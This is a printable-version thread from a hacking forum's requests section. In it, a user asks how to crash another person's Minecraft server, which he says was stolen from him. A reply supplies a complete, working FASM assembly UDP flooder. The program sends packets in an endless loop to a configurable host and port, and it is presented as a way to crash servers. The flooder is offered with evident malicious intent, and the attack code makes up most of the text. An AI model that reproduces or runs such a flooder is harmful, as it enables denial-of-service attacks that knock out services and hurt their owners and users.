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Minecraft server - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Tutorials (https://sinister.li/Forum-Tutorials) +---- Forum: Requests (https://sinister.li/Forum-Requests--826) +---- Thread: Minecraft server (/Thread-Minecraft-server) Pages:
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RE: Minecraft server - FunKx - 12-04-2011 One word. "Griefer" :epic: RE: Minecraft server - balcas - 12-04-2011 dont want to grief i just wanna crash his server becouse i built that server and we can say he stole it ^_^
RE: Minecraft server - FunKx - 12-05-2011 (12-04-2011, 12:05 PM)balcas Wrote: dont want to grief OMG, and you lost 5 minutes of work, how terrible! :oO: RE: Minecraft server - Enc0de - 04-09-2012 I don't understand minecraft what is it all about I am not trying to make fun of it but why do people play it. RE: Minecraft server - underground_jatt - 04-09-2012 u have to know socket programing to do tht.. download any ASM compiler The benefits of UDP flooder are the speed between each packets, we don't matter of the order packets are receivied and the fact that it's sessionless. I decided to code a very simple and small udp flooder with FASM. To edit setting just change iSleep, sPort and sHost values. ''Be carefull if you are using this, It could crash your router USE AT YOUR OWN RISK.'' Code: format PE console 4.0
; UDP Flooder Tutorial
; Send UDP packet very quickly which could result to a server crash.
; 2012 By WireMask - wiremask.eu
entry start
include 'include\win32a.inc'
08
section '.data' data readable writeable
09
10
; Time between each packets in ms
iSleep equ 50d
; Destination Port
sPort equ 2750d
; Destination Host
sHost db 'remotehost',0
; Packet to Send
sPacket db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0
sPacketl = $ - sPacket
sock dd ?
sin_addr dd ?
sin_port dd ?
saddr sockaddr_in
wsadata WSADATA
section '.code' code readable executable
start:
invoke WSAStartup, 0202h, wsadata
; Declare our UDP Socket
invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17
mov [sock], eax
mov [saddr.sin_family], AF_INET
; Select Port
invoke htons, sPort
mov [saddr.sin_port], ax
; Select IP
invoke gethostbyname, sHost
mov eax, [eax+12]
mov eax, [eax]
mov eax, [eax]
mov [saddr.sin_addr], eax
; Start our infinite loop
.loop:
invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in
cmp eax, 0
je exit
invoke Sleep, iSleep
jmp .loop
; useless part
exit:
invoke closesocket, [sock]
invoke WSACleanup
invoke ExitProcess,0
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
winsock,'WSOCK32.DLL'
import kernel,\
ExitProcess,'ExitProcess',\
Sleep,'Sleep'
import winsock,\
WSAStartup,'WSAStartup',\
WSACleanup,'WSACleanup',\
socket,'socket',\
sendto,'sendto',\
inet_addr,'inet_addr',\
htons,'htons',\
closesocket,'closesocket',\
gethostbyname,'gethostbyname' |